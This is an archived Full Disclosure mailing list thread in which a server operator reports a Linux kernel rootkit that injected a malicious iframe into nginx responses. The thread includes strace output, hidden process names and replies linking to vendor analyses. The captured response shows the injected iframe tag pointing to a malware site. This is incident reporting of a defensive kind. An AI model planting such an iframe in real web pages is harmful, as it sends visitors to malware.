Full Disclosure mailing list archives
Re: linux rootkit in combination with nginx
From: Benji <me () b3nji com>
Date: Tue, 27 Nov 2012 17:26:44 +0000
Yup, this is most likely. Sent from my iPhone On 27 Nov 2012, at 15:41, "Gregor S." <rc46fi () googlemail com> wrote:
More interesting than the rootkit itself is how it found it's way into the box. Chances are that Squeeze has a non-disclosed 0day, and that's worring me a bit... On Mon, Nov 26, 2012 at 11:04 AM, dxp <dxp2532 () gmail com> wrote:Looks like a new rootkit according to Kaspersky [1] and some analysis released by CrowdStrike [2]. [1] https://www.securelist.com/en/blog/208193935/New_64_bit_Linux_Rootkit_Doing_iFrame_Injections [2] http://blog.crowdstrike.com/2012/11/http-iframe-injecting-linux-rootkit.html PS: Interesting to know if others found this on their servers or is this an isolated incident !? On Tue, Nov 13, 2012 at 10:19 AM, stack trace <stacktrace44 () gmail com> wrote:Hi there, We've discovered something which looks to us like a rootkit working together with proxy software like nginx. Our OS is debian squeeze and nginx 1.2.3. Here is what happened: We are running a web service and we got notified by some customers of us that they are getting redirected to some malicious sites. Somehow a hacker managed to inject an iframe into our http responses. I tried to do a telnet test on our nginx proxy and saw that even the "bad request" response which gets served directly from nginx contained the malicious iframe code. server { listen 80 default backlog=2048; listen 443 default backlog=2048 ssl; server_name _; access_log off; (...) location / { return 400; } } Doing a bad request nginx doesn't go to cache in this case - the "return 400" makes nginx reply with a predefined response (a string in memory). Even this response contained an iframe like this: HTTP/1.1 400 Bad Request Server: nginx/1.2.3 Date: Wed, 07 Nov 2012 00:01:24 GMT Content-Type: text/html Content-Length: 353 Connection: close <html> <head><title>400 Bad Request</title></head> <body bgcolor="white"><style><iframe src="http://malware-site/index.php"></iframe></div> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.2.3</center> We've done an strace on the running nginx process and discovered that the reply of the process actually didn't contain the malicious iframe. writev(3, [{"HTTP/1.1 400 Bad Request\r\nServer"..., 151}, {"<html>\r\n<head><title>400 Bad Req"..., 120}, {"<hr><center>nginx/1.2.4</center>"..., 52}], 3) = 323 After a bit deeper digging we've found some kernel rootkit I've attached to this email and also some hidden processes were running on our proxy machine with names like write_startup_c and get_http_inj_fr (which sounds like what happened to us). Is this a known attack / rootkit etc or did we discover something new? Cheers, -stacktrace _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-- dxp _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-- just because you're paranoid, don't mean they're not after you... gpgp-fp: 3DB13F197F8A0360814885D1F1F1E2EFAD509AFD skype:rc46fi gplus.to/gregor twitter.com/#/2smart4u _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- linux rootkit in combination with nginx stack trace (Nov 14)
- Re: linux rootkit in combination with nginx dxp (Nov 26)
- Re: linux rootkit in combination with nginx Gregor S. (Nov 27)
- Re: linux rootkit in combination with nginx Benji (Nov 27)
- Re: linux rootkit in combination with nginx Jeffrey Walton (Nov 27)
- Re: linux rootkit in combination with nginx Gregor S. (Nov 27)
- Re: linux rootkit in combination with nginx dxp (Nov 26)